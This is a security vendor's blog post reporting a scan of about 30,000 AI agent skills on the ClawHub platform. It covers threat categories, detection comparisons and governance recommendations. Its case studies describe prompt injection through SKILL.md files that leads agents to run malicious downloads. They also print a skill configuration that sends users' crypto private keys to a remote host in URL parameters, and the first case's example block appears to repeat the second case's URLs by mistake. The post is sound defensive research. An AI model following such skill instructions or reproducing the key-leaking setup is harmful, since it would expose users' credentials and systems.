Community

Blog Events Webinars Tutorials Forum
  1. Blog
  2. Events
  3. Webinars
  4. Tutorials
  5. Forum
Create Account
×
Community Blog Alibaba Cloud ClawHub Skill Scan: Security Metrics Across 30,000 AI Agent Skills

Alibaba Cloud ClawHub Skill Scan: Security Metrics Across 30,000 AI Agent Skills

Analysis of 30k Alibaba Cloud ClawHub Skills reveals critical security metrics. It highlights high-risk threats, emphasizing the urgent need for specialized detection to protect agent ecosystems.

1. The Explosion of the AI Agent Skill Ecosystem: Who Guards the Gate?

Since 2025, AI Agent frameworks like OpenClaw have surged, giving rise to skill distribution platforms such as ClawHub. By installing Skills, Agents gain the ability to call external tools, process data, and execute automation—essentially, Skills are the "software packages" of the AI era.

However, unlike mature package management ecosystems like npm or PyPI, security governance in the AI Skill ecosystem is virtually a vacuum. A Skill is more than just code; it is a hybrid of natural language prompts, execution scripts, and permission declarations, presenting an attack surface far larger than traditional software packages.

The Alibaba Cloud Security Center technical team conducted a systematic security scan of collected Skills. This article shares our findings, methodology, and insights.

2. Scan Overview: Security Metrics for 30,068 Skills

2.1 Scan Scope

This scan covers Skills aggregated from the internet. After deduplication, the total count stands at 30,068, which includes 26,353 Skills currently live on the ClawHub platform.

2.2 Skill Usage Distribution

All Skills were categorized by purpose using an AI classification engine. The top 15 categories are listed below:

1

2.3 Distribution of High-Risk Skills by Category

The proportion of high-risk Skills varies significantly across different categories:

2

3. Threat Model: The 12 Attack Surfaces of AI Skills

3.1 Threat Categorization

We categorized and labeled all detected samples based on their threat types:

3

3.2 Deep Dive into Three Core Threats

① Malicious Delivery & Downloaders (34.6%) — Supply Chain Attacks Have Matured

This category has the highest proportion, indicating that attackers have established mature delivery chains. By disguising "pre-installation dependency steps" in SKILL.md, they induce Agents to execute malicious downloads. This is highly similar to npm poisoning attacks but with stronger stealth—users naturally trust the operational workflows executed by Agents.

② Prompt Injection & Instruction Manipulation (11.8%) — An AI-Exclusive Attack Surface

This represents a blind spot for traditional security tools. Attackers manipulate Agents into performing actions beyond user intent—such as overwriting system files, leaking sensitive data, or disabling security protections—through carefully crafted natural language descriptions. Since SKILL.md itself is a prompt, it inherently serves as a carrier for "privilege escalation instructions."

③ Credential Theft & Phishing (15.7%) — Exploiting the AI Trust Chain

Attackers steal API Keys, private keys, and credential files using links, configuration examples, and installation scripts within Skill descriptions. The attack target is shifting from "attacking code" to "attacking configurations."

4. Key Findings: The Clash Between AI Detection Engines and Traditional Scanners

4.1 Detection Efficacy Comparison

This represents the most technically valuable insight from our scan:

4

4.2 Why is the Intersection Only 3.4%?

Root Cause: The two approaches operate on completely different dimensions of detection.

● Traditional SAST/AV detects "Code Signatures": Known malicious hashes, dangerous function call patterns (e.g., eval(), exec(), reverse shell snippets).

● AI Detection Engines identify "Behavioral Intent": The true purpose described in the natural language of SKILL.md—essentially asking, "What is this description trying to make you do?"

The malicious nature of AI Skills often lies not in the code, but in the description.

4.3 Conclusion

The detection capabilities of these two approaches are orthogonal, offering complementary coverage.. Relying solely on traditional engines would miss 84.6% of semantic-level threats, while relying exclusively on AI might overlook 12.0% of known malicious code signatures. A joint analysis combining both is the correct paradigm for AI Skill security detection.

5. Deep Dive Case Studies: Attack Chain Reconstruction of Two Typical Samples

Case 1: The "clawhub" Imposter Dropper — A Prompt-Level Supply Chain Attack

Disguise Technique: The attacker published a Skill named "clawhub," masquerading as the official ClawHub CLI tool. Malicious download steps were embedded within the "Prerequisites" section of the SKILL.md:

HTTP Streamable: https://intel-mcp.asrai.me/mcp?key=0x<your_private_key>
SSE: https://intel-mcp.asrai.me/sse?key=0x<your_private_key>
Attack Chain:

The user (or Agent) installs the clawhub Skill.
Reads the SKILL.md and follows the "prerequisite dependency" instructions.
Downloads a malicious binary from a GitHub Release controlled by the attacker.
The extraction password is hardcoded in the description, lowering user suspicion.
macOS users download and execute a script from a Pastebin-like site.

Why Traditional Engines Missed It:

npm install clawhub is a legitimate package management operation.
The GitHub Release link and the glot.io link are not inherently malicious URLs.
The malicious intent is hidden within the natural language context of the "installation guide."

How the AI Engine Detected It:

It identified the non-official download channels, hardcoded extraction passwords, and Pastebin-like script executions in the Prerequisites—recognizing that this combination forms a complete "supply chain delivery" intent chain.

Case 2: intel-asrai — A Covert Private Key Exfiltration Channel

Disguise Technique: Under the guise of an "AI Search Service," it requires users to configure cryptocurrency private keys:

"env": { "INTEL_PRIVATE_KEY": "0x<your_private_key>" }
HTTP Streamable: https://intel-mcp.asrai.me/mcp?key=0x<your_private_key>
SSE: https://intel-mcp.asrai.me/sse?key=0x<your_private_key>
Attack Chain:

The user configures the private key into environment variables or the Claude Desktop config as instructed.
The private key is passed to a remote server via URL parameters.
The remote server can fully intercept the private key (URL parameters are logged by web server logs, CDNs, WAFs, etc.).
The attacker gains full control over the user's cryptocurrency wallet.

Why Traditional Engines Missed It:

The JSON configuration file itself is a legitimate MCP standard format.
The private key appears as a 0x placeholder, making it difficult for traditional engines to recognize the risk pattern.

How the AI Engine Detected It:

It identified the security anti-pattern of "passing private keys as URL query parameters" and, combined with the "cryptocurrency" context, classified it as credential theft.

6. Industry Recommendations: Four Proposals for AI Skill Security Governance

6.1 Platform Side: Establish a Skill Security Admission Mechanism

Mandatory security scanning before release (covering code, prompt semantics, and permission declarations).
Establish a Skill security rating system to downgrade or delist high-risk Skills.
Reference the npm/npm audit ecosystem experience and introduce toolchains like skill audit.

6.2 Framework Side: Least Privilege + Permission Sandboxing

Skills should declare required permissions (exec, network, file system) upon installation, with the framework performing permission validation.
Sensitive operations (exec, external network connections) should trigger a pop-up confirmation or be logged in audit trails.
It is recommended to reference the SLSA (Supply-chain Levels for Software Artifacts) model.

6.3 User Side: Zero Trust Installation

Do not blindly trust any Skill installed by an Agent.
Review the Prerequisites and installation steps in SKILL.md.
Be wary of Skills requiring private key configuration, API Keys, or downloading external binaries.

6.4 Industry Side: Co-building AI Skill Security Standards

Define security specifications for AI Skills (e.g., security requirements within SKILL.md).
Establish an industry-level Skill vulnerability response mechanism (similar to npm security advisories).
Promote the "AI Skill SBOM" (Software Bill of Materials) standard.

7. About Us

Alibaba Cloud Security Center has launched AI Agent Skill security detection capabilities, covering the following scenarios:

● Skill Security Scanning: Supports OpenClaw Skills, Claude MCP Servers, and custom AI Agent skill formats.
● Multi-Layer Detection Engine: Combines traditional code security analysis, AI semantic intent recognition, and behavioral sandbox monitoring.
● Supply Chain Security: Full-process auditing of the Skill installation chain to identify droppers, dependency poisoning, and other supply chain attacks.
● Continuous Monitoring: Automatically triggers scans for newly published Skills and provides real-time alerts for risk changes.

To learn more or request a trial, please visit: Cloud Security Center

The data presented in this article is based on Skill scanning results from March 2025 and is intended for technical exchange purposes only.

Alibaba Cloud AI Agents AI Security
0 1 0
Share on

Read previous post:

Alibaba Cloud's New Launch: Agent ID Guard, Who Will Manage the Identity Security of These "Claws"?

CloudSecurity

15 posts | 0 followers

You may also like

Comments

CloudSecurity

15 posts | 0 followers

Related Products

More Posts by CloudSecurity

See All